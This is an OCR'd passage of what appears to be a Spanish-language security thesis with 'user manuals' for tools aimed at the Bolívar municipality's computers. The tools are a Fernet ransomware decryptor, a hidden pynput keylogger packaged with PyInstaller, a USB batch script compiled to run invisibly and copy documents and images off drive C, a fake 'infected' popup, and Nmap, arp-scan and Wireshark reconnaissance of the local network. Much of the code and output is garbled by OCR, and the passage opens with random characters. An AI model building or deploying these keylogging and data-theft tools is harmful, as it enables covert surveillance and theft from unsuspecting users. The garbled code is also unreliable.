tE8HXgHgSVE kAaHilrrEcvWJdVQJ'bﬂi{delj OxYvybVedaUkhNINyLGEFV20alaSYkLPFfbNVErx—
LtZelRYdjgtJFexXaVQrtRk-—FORXxveVEeLS—oGribBad1luQcHAgWEG—

vijcAck 4FSh2BZEN120dZD-15IW2C0NZSWABY-Y GTCzSAAVOyOWT7G4 QCLsS—
rdsSExtrsSnktévgCkIez1lzXxROOHEIWVYWwijgvoePGQJIol I TMlwshspGyxdScgegbydt 6 TM—
227Kl 3gavAcV-4FGNAGr7z3Q3xjHgeyNh8E80ggp_ —
J8PPMabDWOvmEfgLWAdOcKXykOBwOF1WRXepFC9e8a0Q1 9B6wHNgSMEIZ6FtP4avglF1JZnWLSSQ

VM EME L VRMT BT nve o T

Los documentos Pdf no se pueden abrir:

Nitro Pro

The document
C:\Users\feder\Desktop\Rasomware\files\DOCUMENTO
MUNICIPIO DE BOLIVAR.pdf could not be opened because it's
an unsupported file type or has been damaged.

oK

En la misma carpeta se carga un archivo de texto con informacién:

E readme: Bloc de notas

Archivo Editar

Hola municipio de Bolivar tus estan Ficheros encriptados por EH
Para desencriptar los archivos escribe al siguiente enlace .......

Ahora procedemos a desencriptarlos con el siguiente codigo
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cryptography.fernet Fernet

cargar_key():

( ).read()
decrypt(items, key):
f = Fernet(key)
item items:
(item ) file:
encrypted_data = file.read()

decrypted_data = f.decrypt(encrypted_data)
(item ) file:
file.write(decrypted_data)

__hame__ ==

path_to_encrypt =

os.remove(path_to_encrypt+

items = os.listdir(path_to_encrypt)
full_path = [path_to_encrypt+ +item

key = cargar_key()
decrypt(full_path, key)

Al dar ejecutar, volveremos a tener nuestros archivos legibles:

Il files

® Nuevo N Ordenar ~ O ver v

& > v A > Rasomware > files

A Inicio

M Escritorio #
' Descargas #

! Documentos #

a Imagenes #

W archive » ) )
bolivar 1 DOCUMENTO MUNICIPIO DE BOLIVAR DOCUMENTO SINTESIS PDOT CANTON

® Masica » BOLIVAR

#¥ videos »

I bin




3. GLOSARIO

Término

Descripcion
Encriptado Esto significa esconder la informacion de un archivo a
simple vista de manera que no se pueda develar el
contenido.
Desencriptado

Es descifrar un texto u archivo mediante un cédigo u

algoritmo que esta con una clave.
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1. DESCRIPCION DEL SISTEMA
1.1. Objetivo

El objetivo principal de un Keylogger es registrar y almacenar las pulsaciones de teclado de
un usuario en un dispositivo. Esta informacion incluye todo lo que el usuario escribe,

incluyendo contrasefias, mensajes de correo electronico, conversaciones en linea, etc.
1.2. Alcance

La presente herramienta tiene como alcance ser empleada en todos los equipos informaticos
del municipio de Bolivar.

1.3. Funcionalidad

» Monitorizacion de empleados: Algunas empresas utilizan keyloggers para
monitorear el uso de las computadoras de sus empleados. Esto se hace para
garantizar que los empleados no estén utilizando las computadoras para prop6sitos
no autorizados o para evaluar el rendimiento de los empleados.

» Proteccion de la privacidad: Algunos municipios lo emplean para monitorear las
actividades en linea.

» Robo de informacién confidencial: Sin embargo, el uso mas comdn y preocupante
de los keyloggers es el robo de informacion confidencial. Los ciberdelincuentes
pueden instalar keyloggers en dispositivos de otras personas que pretenden sustraer

datos delicados de usuarios desprevenidos.

2.MAPA DEL SISTEMA
2.1DISENO

Procedemos a descargar Pycharm
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© dedicato npower  [@SUGAR S| D ¥ EIMe The Last Ver The

ea personal @, Ini I |

Para desarrolladores Paraequipos Paraaprender Soluciones Asistencia Tienda Q

PyCharm Enla proxima version Novedades Funcionalidades Aprender Tarifas

Descargar PyCharm

Windows macOS  Linux

Professional Community

Para desarrollo de Python tanto Para un desarrollo Python puro
Versién: 2022.3.2 cientifico como de web. Compatible
Build: 223.861748 con HTML, JSy SOL.

25 de enero de 2023

LEEETET m ST

Requisitos del sistema

Prueba gratuita de 30 dias disponible Gratis, creado en codigo abierto
Instrucciones de instalacion
Otras versiones
Software de terceros Consiga Toolbox App para descargar PyCharmy

eue futurag getualizaciones con facilidad

ains.com/es-es/pycharm/download/download-thanks html?platform =windows&icode =PCC

Descargar

Windows macOS Linux

Professional

Para desarrollo de Python tanto cientifico
e con HTML, JS y

como de web. Compatib

SQL.

Descargar

Prueba gratuita de 30 dias disponible

Una vez tenemos descargado el Pycharm lo ejecutamos
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rfj file Edit View Navigate Code Refactor Run Tools VCS Window Help
pythonProject | [ mainy

~BIT 8- fymany
v M pythonProject
v Mvenv
Include
Lib
> M Soipts
i Aitignore
£ ppenvcfy D
L gy print_hi(nane):
External Libraries

Stratches and Consoles print( namef)

name__ ==

print_hi(

Vamos a crear nuevo proyecto

Location: | C\Users\feder\Desktop\pythonProject1

&l
e Pure Python
a

Django

FastAP -
LA ¥ Python Interpreter: New Virtualenv environment

Flask
# Google App Engine *) New environment using = g% Virtualenv
Pyramid
8 Scientific Location: C\Users\feder\Desktop\pythonProject1\venv
__ Base interpreter: C\Users\feder\AppData\Local\Microsoft\WindowsApps\python3.10.exe
| Bootstrap
ThALE B nherit global site-packages
HTML5S Boilerplate = =

Make available to all projects

Previously configured interpreter

v| Create a main.py welcome script

Elegimos Pure Python y seleccionamos en donde queremos crear nuestro programa.

Tendremos lo siguiente:




factor Run Tools

E] Ele Edit

main.py

pythonProject

0
D = < & main.py

W Project

v pythonProject

v venv

print_hi(name):

En un archivo importamos las librerias sys

from pynput.keyboard import
import

Escribimos el cddigo que va a capturar las pulsaciones

tecla.replace(

"Key.esc":

sys.exit()
1 "Key.space":

"Key.enter":
a = "[ENTER"

Las pulsaciones se van a guardar en un archivo de texto

’

=)
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if tecla == "Key.enter":
tecla = " [ENTER] "

with open("log.txt","a") as File:
File.write(tecla)

with Listener(on_press=captura) as Listen:
Listen.join()

Lo siguiente que hacemos es hacer el archivo un ejecutable

» Instale un paquete de empaquetamiento, como Pylnstaller: PylInstaller es una
herramienta de empaquetamiento de Python que le permite crear ejecutables de Python
para diferentes sistemas operativos, incluyendo Windows, MacOS y Linux. Puede
instalar PylInstaller usando pip.

» Abra la linea de comandos o la terminal y navegue hasta el directorio que contiene el
archivo .py que desea convertir en un ejecutable.

» Ejecute el siguiente comando:

pyinstaller nombre_del_archivo.py

» Espere a que Pylnstaller complete el proceso de empaquetamiento. Una vez que se
complete, encontrara una carpeta llamada "dist" en el directorio que contiene el
archivo .py original.

» Dentro de la carpeta "dist", encontrara un archivo ejecutable con el mismo nombre que
su archivo .py original. Este archivo ejecutable se puede ejecutar en su sistema

operativo sin necesidad de un intérprete de Python.

Nos quedara el siguiente archivo:
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Al ejecutarlo:

No se mostrara ninguna pantalla, todo lo que se vaya escribiendo se registrard en un archivo de

texto:

La aplicacion correra en segundo plano:

Procesos

& Microsoft Windows Search Indexer 274 MB 0,1 MB/s 0 Mbps
R Aislamiento de graficos de dispositivo de audio de Windo... 24,1 MB 0 MB/s 0 Mbps
8- Herramienta Recortes (2) 2 22,5 MB 0 MB/s 0 Mbps
B Hostdes : Servicio de repositorio de estadc 187 MB 0 MB/s 0 Mbps

| Buscar (3) 17,2 MB 0 MB/s 0 Mbps

. Host de servicio: Iniciador de procesos de servidor DCOM (... 2, 17,1 MB 0 MB/s 0 Mbps

. Host de servicio: UtcSvc 164 MB 0 MB/s 0 Mbps
R Application Frame Host 15,1 MB 0 MB/s 0 Mbps
= Inicio (2) 14,9 MB 0 MB/s 0 Mbps
B Host de servicio: Llamada a procedimiento remoto (2) 124 MB 0 MB/s 0 Mbps
£ ARMOURY CRATE User Session Helper 11,2 MB 0,1 MB/s 0 Mbps
. Host de servicio: Registro de eventos de Windows 10,3 MB 0,1 MB/s 0 Mbps
£ ASUS NodelS Web Framewor (32 bits) L 0 MB/s 0 Mbps
® Reproductor multimedia (2) 9,3 0,1 MB/s 0 Mbps
B ey 8, 0,1 MB/s 0 Mbps
EE widgets (7) 8 0 MB/s 0 Mbps

B® Host de servicio: Instrumental de administracion de Windo... . 0 MB/s 0 Mbps

De esta manera se guardara toda la informacién en un archivo de texto.

log: Bloc de notas

Archivo  Editar  Ver

Key.ctrl IKey.alt 1Key.deletekey.ctrl 1\x@eKey.ctrl 1\x@3[ENTER]Key.ctrl 1\x16[ENTER]Key.caps locknKey.caps locko se mostrara

ninukey.backspacegukey.backspaceuna pantalla Key.backspace, todo lo que se vaya escribientKey.backspacedo se
1Key.backspaceregsKey.backspaceistrara en un Key.caps lockKey.caps lockarchivo de text Key.backspaceoKey.shift r:[ENTER]
Key.caps_locklkey.caps_locka pKey.backspaceaplicacion correra en segundo plano Key.backspaceKey.shift_r:iKey.delete

3.GLOSARIO

Término Descripcion

Ejecutable Es un archivo que se puede ejecutar en un sistema operativo,

sin necesidad de un intérprete de Python.

164



QB@HW

Roogerilisscdao g8 Misforrod

ROBO DE INFORMACION CON USB

Manual de Usuario

Por: Esteban Herrera E

Version: 001

Fecha: 14/11/2022

165



HOJA DE CONTROL

Organismo Gobierno Auténomo descentralizado de Bolivar
Entregable Manual de Usuario
Autor Esteban Herrera
Prueba 001 Fecha de Prueba 14/11/2022
Aprobado por Andrés Villarruel Fecha Aprobacion 14/11/2022
N° Total de Paginas 9

INDICE
1. DESCRIPCION DEL SISTEMA ......coooiiieetceteeeseeessesesesessss s nassen s s, 167
IO o 1] {10 T OSSPSR 167
1,20 AICAINCE ...ttt bbb 167
1.3, FUNCIONAHAA ..ot 167
2. DISERIO ..ottt 167

166



1. DESCRIPCION DEL SISTEMA
1.1 Objetivo

La utilizacion de una USB para robar informacion personal o confidencial es un acto ilegal
y malintencionado que viola la privacidad y la seguridad de las personas afectadas.

En la mayoria de los casos, las unidades USB que se utilizan para robar datos estan
disefiadas con el fin de parecer dispositivos de almacenamiento inofensivos, pero en
realidad contienen software malicioso que se instala en el equipo al conectarse la unidad.
Este software puede ser utilizado para recopilar informacion personal, como nombres de
usuario y contrasefias, informacion financiera, correos electronicos, archivos y cualquier

otra informacién confidencial almacenada en el equipo.

1.2. Alcance

La presente herramienta tiene como alcance ser empleada en todos los equipos informaticos
del municipio de Bolivar.

1.3.Funcionalidad

La funcién de una unidad USB que roba datos es infiltrarse en un sistema informatico,
instalar software malicioso y recopilar informacion personal o confidencial sin el
conocimiento o consentimiento de la persona afectada. Esta informacion puede ser utilizada

para realizar actividades fraudulentas, robar identidades, extorsionar a las victimas o causar
2. DISENO

Procedemos a pasar la herramienta que sustrae informacion a nuestra USB y a continuacion la
descomprimimos.
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= ESTEBANHERRERA (G:)

(E) Nuevo ~ T Ordenar ~ Expulsar

= > ESTEBANHE..

ﬁ Home MName . Date modified

F&% HERRAMIENTA ROBA INFORMACION
B Escritorio B D-TECH USB ROBA DATOS
i Descargas
E Documentos
= Imagenes
I archive
® Masica
¥ videos
W TESIS
B Windows10_64bits
m ACTIVADORES

I files

Elegimos el archivo .bat y luego damos a compilar dentro de la memoria USB.
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r
€) Bat To Exe ¢

)
N
w

Archivo batch:  G:\D-TECH USB ROBA DATOS\Método 1\datos.bat

Guardar como:  G:\D-TECH USB ROBA DATOS\Método 1\datos.exe

Opdiones  Incuir Informacion version Editor  Configuracién

Ventana
(O visible
© Invisible

Borrar archivos temporales
© Borrar al salir

(O No borrar

Ofros

[ Afiadir manifiesto administrador
(] Sobrescribir los archivos existentes.

() Comprimir con UPX

Compilar

Se va a crear una aplicacion

8 datos

Seleccionamos oculto

Directorio de trabajo
© Directorio actual
() Directorio temporal
Encriptacién

[CJEncriptar el programa

Contrasefia:

Arquitectura

O 328t
(O e4Bit

Eliminar entradas Salir

www f2ko de

Aplicacion




General

Tipo de archivo:

Ubicacién:
Tamafio:

Tamafio en

Ulimo acceso:

Atributos:

Compatibility Security Detalles

datos

Aplicacién (L.exe)

Descripcidn: datos

68.5 KB (70.144 bytes)

72,0 KB (73.728 bytes)

[ Isoclolectura Oculto

Aceptar

Cancelar

disco:
Creado: jueves, 9 de marzo de 2023, 14:25:57
Modificado: jueves, 9 de marzo de 2023, 14:25:57

G:\D-TECH USB ROBA DATOS\Método 1

Today. 9 de marzo de 2023, hace 7 minutos

Avanzados...

Aplicar

Modificamos la informacion de donde se va a extraer la informacion

W dwios Piox che rerim

Eol &1

Archeva Edam  Formste  ver  Ayude

gecho off

IF MOT EXIST =.yDTecrusn™ Mo - .\ NEENES-

cd WDTechilsb

for /R €1y Bu in {*.pd¥ *.dock ".xlsk ".pptx “.twt ".jpg "-jpeg "-peg) do copy TR T\
endi?

1007,

= T

UT.a

A continuacidn, observamos el robo de informacién de la ubicacion donde sefialamos en este

caso el disco local C.
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W DtechUsh

. Ordenar

NHERRERA (G) » D-TEC ROBA DATOS >
M > ESTEBANHERRERA(G) > D-TECHUSB ROBA DATOS

Q Busqueda
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1. DESCRIPCION DEL SISTEMA
1.1.0bjetivo

El objetivo de un virus de computadora es infectar un sistema informatico y alterar su
funcionamiento normal sin el conocimiento o el consentimiento del usuario. Los virus
pueden causar una amplia variedad de dafios, desde ralentizar el rendimiento del sistemay
corromper datos hasta robar informacion personal y financiera y permitir el acceso no

autorizado al sistema. Los virus también pueden propagarse a través de una red informética
1.2Alcance

La presente herramienta tiene como alcance ser empleada en todos los equipos informaticos
del municipio de Bolivar.

1.4 Funcionalidad

Una vez que un virus infecta un sistema informatico, puede realizar diversas acciones
malintencionadas, tales como:
» Sobrecargar el sistema, lo que provoca su bloqueo o cuelgue.
» Robar informacion personal, como contrasefias, informacion bancaria, correos
electronicos, entre otros.

» Instalar y ejecutar programas maliciosos sin el conocimiento del usuario.

A\

Modificar o corromper archivos y datos.
» Realizar actividades ilegales o fraudulentas utilizando los recursos del sistema

infectado, como enviar spam, realizar ataques DDoS, entre otros.

2.MAPA DEL SISTEMA
2.1. DISENO

Procedemos a descargar Pycharm
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Descargar

Windows macOS Linux

Professional

Para desarrollo de Python tanto cientifico
como de web. Compatible con HTML, IS y

SQL.

CaEED

Prueba gratuita de 30 dias disponible

Una vez tenemos descargado el Pycharm lo ejecutamos

Vamos a crear nuevo proyecto
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e Pure Python

¥ Python Interpreter: Virtualenv environment

ment using | g Virtualenv

v| Create a main

Elegimos Pure Python y seleccionamos en donde queremos crear nuestro programa.
Tendremos lo siguiente:

€3 e
pythonProject @ main
DT = o — & main.py

IR pythonProject

print_hi(name):

Lo siguiente es crear un archivo main en donde vamos a escribir nuestro virus
A continuacion, importamos librerias:
La libreria Tkinter es una biblioteca estandar de Python que proporciona una interfaz grafica de
usuario (GUI) para la creacion de aplicaciones de escritorio. Tkinter es un enlace Python a la
biblioteca de herramientas de interfaz grafica de usuario Tcl/Tk.
» Al utilizar la libreria Tkinter, se pueden crear ventanas, botones, cuadros de texto,
etiquetas, mends y otros elementos de la interfaz grafica de usuario. La biblioteca

también proporciona varios widgets y herramientas para interactuar con el usuario,
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como barras de desplazamiento, dialogos, seleccion de archivos, etc.
Algunas de las caracteristicas de la libreria Tkinter son:

» Es facil de usar y aprender, ya que cuenta con una documentacion clara 'y una gran
cantidad de recursos en linea.

» Es multiplataforma, lo que significa que las aplicaciones creadas con Tkinter pueden
ejecutarse en diferentes sistemas operativos como Windows, macOS y Linux.

» Es personalizable y se puede adaptar a diferentes necesidades de disefio.

» Permite la creacion de aplicaciones complejas con varias ventanas, subventanas,
menus y widgets interactivos.

» Enresumen, la libreria Tkinter es una herramienta esencial para la creacion de
aplicaciones de escritorio en Python con una interfaz grafica de usuario intuitiva e

interactiva.

tkinter

tkinter
tkinter

tkinter

ventana = Tk(

Creamos una ventana con el siguiente texto:

ventana = Tk(

tk.messagebox.showwarning(

ventana.geometry(

ventana.config(ho=

a.title(

Afadimos la imagen y la centramos: hacemos que se repita varias veces y no se pueda cerrar

con un bucle.
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Como resultado tenemos lo siguiente:

¢ Ordenador nfe .

[HACKED |

1, TuOrdenador esta INFECTADOX!

Aceptar

3. GLOSARIO

Término Descripcion
Bucle Un bucle, en programacion, es una estructura de control que
permite repetir un conjunto de instrucciones multiples veces,
mientras se cumple una determinada condicion. Es decir, el
bucle permite ejecutar varias veces el mismo bloque de
cddigo, hasta que se alcanza una condicion de salida o se

cumple un namero especifico de repeticiones.
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1.DESCRIPCION DEL SISTEMA
1.10bjetivo

El objetivo principal de Nmap es proporcionar a los administradores de sistemas y a los
profesionales de seguridad una forma rapida y efectiva de descubrir hosts, identificar los

servicios que se estan ejecutando en esos hosts, y determinar si existen vulnerabilidades
1.2Alcance

La presente herramienta tiene como alcance ser empleada en todos los equipos informaticos

del municipio de Bolivar.

1.3. Funcionalidad

Es usado para mapear la topologia de red, determinar los sistemas operativos de los hosts,
y realizar pruebas de conectividad de red para detectar problemas de configuracion o
problemas de rendimiento.

2.MAPA DEL SISTEMA
3.DISENO

Analisis municipio

WIFI PLANTA ALTA
192.168.0.1

] CAWINDOWSAsystem32\cmd. < —+ ~

Sufijo DNS especifico para la conexidén. . :

Vinculo: direccidn IPv6 local. . . : fe80::c37a:19af:b9c3:7e28%13
Direccidéon IPwvil. - -+ - «+ <« < < < < < . . D 192.168.56.1

Mascara de subred . . . . . . . . . . . . : 255.255.255.0

Puerta de enlace predeterminada - E

Adaptador de LAN inalambrica Conexion de area local* 1:

Estado de los medioes. . . . . . . . . . . : medios desconectados
Sufijo DNS especifico para la conexiodn. =

Adaptador de LAN inalambrica Conexidon de area local* 10:
Estado de los medies. . . . . . . . . . . : medios desconectados
Sufijo DNS especifico para la conexidn.

Adaptador de LAN inalambrica Wi—Fi:
Sufijo DNS especifico para lLa conexidén. . :
Vinculo: direccién IPv6 local. . . : fe80:: 2 :U2a:ae76%1U
Direccion IPvid. 5 o« -.8.125

Mascara de subred . . . . . . . . . . . . = - .255.0
Puerta de enlace predeterminada . . . . . : - .0.1

Adaptador de Ethernet Conexidén de red Bluetooth:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especifico para la conexidn. :

C:\Users\feder>

ARP-SCAN
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/home/estebanh
68.0
9:bd, IPv4:
thub. com/
(Unknown )
(Unknown )
locally administered)

Liteon Technc r Corporation
(Unknown: loc y administered)

ol el ol el 7 B

: 1Ck dropped by kernel
Ending arp-sca .9.7: 256 hi canned in 2.185 seconds (121.62 hosts/sec).
6 responded

o
=
o

Shome/estebanh
0.125
.org

STATE
cp open
tcp open
Address: D8:C@ (5] 14D (AzureWave Technolo

Nmap done: 1 IP address (1 host up) scanned in 1@

PUERTO 80 escaneo de red
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2 fhome/estebanh

) 192.168.0.8/24
Starting Nmap 7.91 ap.org ) at 2023-@3-17 13:46 -@5
Nmap scan report for Arc
Host is up (@.813s latency).

PORT STATE SERVICE
E cp open http
MAC Address: B4:DB:1B:AB:76:C@ (Tp-link Technologies)

Nmap scan report for POC (192.168.0.1@85)
Host is up (@.11s latenc

PORT STATE SERVICE
E cp filtered http
MAC Address: B6:96:6B:5E:E5:51 (Unknown)

Nmap scan report for TECNO-SPARK-8C (192.168.@.111)
Host is up (@.899s latency).

PORT STATE SERVICE
8 cp closed http
M Address: @QA:15:BF:A8:ED:27 (Unknown)

Nmap scan report for M21@1K7BEL (192.168.@.121)
Host is up (@.18s Llaten ).

PORT STATE SERVICE
E cp closed h
C Address: E&4 :D3:13 ) (Unknown )

Nmap scan repor r ESTEBANHERRERA (192.168.8.125)
Host is up (@. latency).

PORT STATE SERVICE
E cp filtered http
MAC Address: D8:CR:AB:QF:42:4D (AzureWave Technology)

Mmap scan report
Host is up (@.0@8

PORT STATE SERVICE

7:26:45:5A (Liteon Technology)

Nmap scan report for EAP11@-Outdoor-6E B1-5F-D3-CD (192.168.0.158)
Host is up (@.01@8s latency).

PORT STATE SERVICE
B@/tcp open http

Deteccion del Sistema Operativo

La deteccion del sistema operativo en Nmap se basa en técnicas de analisis de huellas digitales
de red (network fingerprinting) para identificar las caracteristicas distintivas de los diferentes
sistemas operativos y versiones que se ejecutan en los hosts de la red.

Para detectar el sistema operativo, Nmap envia una serie de paquetes de prueba al host objetivo
y analiza las respuestas recibidas. Estos paquetes pueden incluir sondas TCP, UDP y ICMP que
contienen campos especificos para los cuales los diferentes sistemas operativos responden de

manera diferente.
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Por ejemplo, Nmap puede enviar paquetes TCP SYN con diferentes combinaciones de valores
de ventana, TTL y opciones TCP y analizar las respuestas para determinar la configuracion
TCP predeterminada del sistema operativo subyacente. También puede enviar paquetes UDP o
ICMP vy analizar las respuestas para identificar como se manejan estos paquetes en el sistema
operativo objetivo.

Ademas, Nmap utiliza técnicas de deteccion pasiva para recopilar informacion sobre el sistema
operativo, como la identificacion de banners de servicios y la enumeracidn de puertos. También
puede utilizar bases de datos de huellas digitales de sistemas operativos conocidos para
comparar los resultados de las pruebas con perfiles de sistemas operativos previamente

identificados.

2 /home/estebanh
) 192.168.0.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-17 13:51 -@5
Nmap scan report for Archer (192.168.8.1)
Host is up (0.018s latency).
Mot shown: 995 closed ports
PORT STATE SERVICE
22/tc open ssh
open domailn
open http

Nmap scan report for TEEANHEFFEF (192.168.0.125)
Host s up (@
Not shown: 998 filtered poxts
PORT STATE SERVICE
2/tcp open afrog

043/tcp open  boinc
MAC Address: D8:C0:A6:0F:42:4D (Azurelave Technology)
Warning: 0SScan res u1T m.5 be unreliable because e 'ou1d noT find at 1ﬂ4fT | opﬂn 4nd 1 r105ﬂd port
Aggressive ' ' ]

5 fire 5 12.1) Juniper NﬂTWOIP; 1UN Juniper NﬂTMDIP; JUNOS 9.0R2 H1i10;0+T W1nd
ows 10 1703 ( Microsoft Windows 10 1511 - 1607 (86%,

No exact 05 matches for host (test conditions non-ideal).

Network Distance: 1 hop

Escaneo con Windows
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=

licrosoft Windows [Version 10.0
(c) Microsoft Corporation. Todos

:\Windows\System32>netstat -ao
onexiones activas

Proto Direccion local

TCP 9.0.0.0:135

TCP 0 - S 5 STENING
TCP % -10 STEBAN A: @ LISTENING
TCP S LISTENING
TCP .0.0.0:50 € LISTENING
TCP STEBAN LISTENING
TCP N -9 S A€ LISTENING
TCP % : : S LISTENING
TCP

TCP

TCP : N
TCP P.0.0:4966 : LISTENING
TCP : ESTE LISTENING
TCP ).0.0:496 ESTEBAN . LISTENING
TCP ESTE A ESTABLISHED
TCP ESTEBANHERRERA: € STAB

TCP ESTEBANHERRE

TCP ESTEBANHERRE

TCP ESTEBANHERRERA: 6

TCP ESTEBANHERRE )

TCP ESTEBANHERRERA: LISHED
TCP A LISTENING
LISTENING
LISTENING

TCP
TCP
TCP
TCP
TCP
TCP

R R R R RRRRRRR R R

ESTEBANHERRERA: @ LISTENING

185



[0 (4
ErI I EEA

i)

LILINX [Comriendo] - Oracle YM VirtualBox

"'b Firefox

% Capturing from eth0

Capturing from eth0

Archivo Edicion Visualizacion Ir Captura Analizar Estadisticas Telefonia Wireless Herramientas Ayuda

AODAO +HER@ aecsn«»B

No.

Time
1 0,080000000
208,200190447
3 0,612044607
4 8,926746032
5 0,952640842
6 1,069902855
7 1.393166934
81.6497116872
9 2.149014250
16 2. 386941717
11 2.387976243
12 2.398946648
13 2,459375994
14 2.460850719
15 2.461670827
16 2.462731179
17 2.763592172
18 3.383875782
19 3.386761939
20 3.387267013
21 4.,0896179342
22 4.197447710
23 4.265436513

25 4.,3087839490
26 4,307324547
27 5.440381137
28 5.440469978
29 5,440951401
30 5.838146414
31 6.001033737
32 6.073773298
33 6.451204249
34 6,864553131
35 6.880188314
37 7.375323825
38 7.476640769
39 7,880888661
40 7.888895855
41 7.985913353
42 8,101979512
43 8.298842325

Source

192.168.48.1
192.168.0.150
fefid::9che; FIff:feb.
192.168.0.136
192.168.0.141
192.168.0,128
192.168.0.128
192.168.0.128

fedo: :h496:6bff: fes..
192.168.0.125
fed0::h873:870:4244..
192.168.0.141
fef::12e8:2701:547,.
fed0::9066:e884:306..
fedo: :9066:e884:306..
192.168.0,139
fedo::4404: f1ff:fed.
fef::9066:e884: 306,
192.168.0.125
fegn::ha73:870:424a.,
fed0::12e8:2701:547.,
192.168.0.1
192.168.68.1

fean: b496:8bff:fes..
fed0::h496:6hff: fes.,
192.168.0.1
192.168.0.128
192.168.0,128
Tp-LinkT ab:76:co
192.168.0.128
192.168.0.128

fe80: 9066 eBR4: 306,
Tp-LinkT_ab:76:cO
192.168.0.125
fed0::2c55:49ff: fe2.
fe80: 9066 eBR4: 306..
192.168.0,125
Tp-LinkT ab:76:c@
feB0::0066;:e884:306.,
192,168.8.1
fegn::Bad0: 3bff:fee.

Captura de paquetes por DNS

Destination
224.0.0.1
255,255,255, 255
ffo2::16
224.0.0.251
239,255,255, 250
192.168.8.1
192.168.8.1
192.168.8.1
ffez2::16
224.0.0.251
ffez::fb
239.255.255.250
ff02::16
ffez::c

ff02::¢c
224.0,0,251
ffe2::16
ffo2::c
224.0.0,251
ffa2::fb
ff02::16
224.0.08.2
192.168.0.128

ffe2::16
ff2::16
192.168.0.128
192.168.0.1
192.168.0.1
Broadcast
192.168.0.1
192.168.0.1
ffaz::c
Broadcast
239,255, 255,250
ffe2::16
ffa2::16
224.0.0,252
Broadcast
ffe2::16
200,200,200, 255
ffez2::16

Protocol  Length Info

IGMPV2
Upp
LCMPVE
IGMPv2
SSDP
DNS
TCP
HTTP
ICMPVG
MONS
MONS
SSDP
ICMPVE
upp
upp
IGMPv2
ICMPVE
upp
MDNS
MDNS
ICMPVE
IGMPV2
TCP

ICMPVE
ICMPVE
TCP
TCP
HTTP
ARP
HTTP
TCP
upp
ARF
IGMPV2
TCP
ICMPVE
ICMPVE
IGMPv2
ARP
ICMPVE
upe
ICMPVE

60 Membership Query, general

666 37374 - 29810 Len=624

96 Multicast Listener Report Message v2
60 Membership Report group 224.8.0.251
167 M-SEARCH * HTTR/1.1

114 standard query 8xab27 A logdshell-gen
74 58564 - 80 [SYN] Seq=0 Win=6424@ Len=
379 GET /drupal/misc/drupal.js HTTP/1.1
110 Multicast Listener Report Message v2
85 Standard query 0x0808 PTR microsoft |
1085 Standard query 0x0008 PTR _microsoft_|
167 M-SEARCH * HTTR/1.1

90 Multicast Listener Report Message v2
718 51627 - 3702 Len=656

718 51027 - 3782 Len=656

60 Membership Report group 224.0.0.251
90 Multicast Listener Report Message v2
118 51027 - 3782 Len=656

85 Standard query 8x0088 PTR _microsoft_
105 Standard query 0x@0088 PTR _microsoft i
96 Multicast Listener Report Message v2
60 Membership Report group 224.0.6.2

76 80 - 58562 [SYN, ACK] Seq=@ Ack=1 Win:

90 Multicast Listener Report Message v2
96 Multicast Listener Report Message v2
76 80 - 58564 [SYN, ACK] Seq=0 Ack=1 wim:
G6 58564 - 80 [ACK] Seq=1 Ack=1 Win=6425
371 GET /YSQPBms4.ashx HTTP/1.1
60 Who has 192.168.0.145? Tell 192.168.0
370 GET /OjNoN_Rr.rem HTTP/1.1
74 58570 - 88 [SYN] Seq=0 Win=64240 Len=
718 51027 - 3702 Len=656
60 Who has 192.168.0.1457 Tell 192.168.0
60 Membership Report group 239.255,255.2!
i | WBET0 ] [
90 Multicast Listener Report Message v2
90 Multicast Listener Report Message v2
60 Membership Report group 224.0.0,252
60 Who has 192.168.0.1457 Tell 192.168.0
90 Multicast Listener Report Message v2
215 36850 - 7437 Len=173
90 Multicast Listener Report Message v2
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a8
126
133
249
440
A6
491
583
57T
589
2593
594
610
611
624
G40
G642
751
TG4
[ap2
ap9
944
947
958
968
1036
1862
1139
1243
1256
1264
1587
1656
2468
2479

4. Glosario

22
25
30
52
59
G
Ga

183
i88
192
200
200
285
206

6 1.069902855
. 632459938
.875847894
. 080861156
. 9309860269
LG18133043
. 620972144
.801865290
.BBT7TS85609
. 453879380
.459868879
247488153
. 247448829
. 248555309
. 248663513
.GB75710962
418468624
418468704
.422779018
.147189193

. 596728457
. 579071258
. 3855168586
. 389456697
. 9068822103
. 9681453111
. 794984246
. 797342555
. 721529718
. 978763829
.8981224694
. 093833066
. 436479944
. 768567149
. 992271686
. 1569482700

Término
ARP SCAN

192
192
192
192
192
192
192
182
192
192
192
192
152
192
192
192
192
192
192
192
192
192
132
192
192
182
192
192
192
192
182
192
192
192
192
132

. 168 .
.168.
.168.
.168.
.168.
. 168 .
.168.
168 .
168 .
.168.
.168.
.168.
168 .
.168.
.168.
.168.
.168.
168 .
.168.
.168.
L1686 .
.166.
168 .
.168.
.168.
L1668 .
.168.
.168.
. 168 .
.168.
.168.
.168.
.168.
.168.
.168.
168 .

00D EOEE0OOEEELELOEEDODEA

.128

.128
128

.128
.128

. 128
.128
.128
128
.128
.128

.128
.128
128
.128
.128

.128

128
.128

. 128

.128

192
192
192
192
192
192
192
192
192
192
1892
192
1392
192
192
192
192
192
192
192
192
192
1392
192
192
192
192
192
192
192
192
192
192
192
192
132

.168.
.168.
.168.
. 168 .
.1688.
.168.
.168.
168 .
. 168 .
. 168.
.168.
.168.
168 .
.168.
.168.
.168.
.168.
168 .
168 .
.168.
.168.
.168.
168 .
.168.
.168.
.168.
.168.
.168.
.168.
.168.
.168.
.168.
. 168.
.168.
.168.
1688 .

Descripcion

@200 EROOPEEOERODERDODEEEAEDERDEEDEE

DNS
DNS
DNS
DNS
DNS
DNS
DNS
DNS
DNS
DMNS
DNS
DNS
DMNS
DNS
DNS
DNS
DNS
DNS
DNS
DNS
DNS
DNS
DMNS
DNS
DNS
DNS
DNS
DMNS
DS
DNS
DNS
DNS
DMNS
DNS
DNS
DMNS

Un puerto de computadora es una interfaz de comunicacion

que puede conectarse a un dispositivo de entrada o salida.

Cada puerto tiene un numero identificador Gnico conocido

como numero de puerto, que se utiliza para distinguirlo de

otros puertos.
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1. DESCRIPCION DEL SISTEMA

1.1 Objetivo

El objetivo principal del pentesting web, o prueba de penetracion web, es evaluar la
seguridad de una aplicacion o sitio web identificando y aprovechando vulnerabilidades. El
proposito de realizar un pentesting web es descubrir las debilidades de seguridad existentes

en el sistema y proporcionar recomendaciones para fortalecer y mejorar la seguridad.

1.2 Alcance

La presente herramienta tiene como alcance ser empleada en todos los equipos informaticos

del municipio de Bolivar.

1.3 Funcionalidad
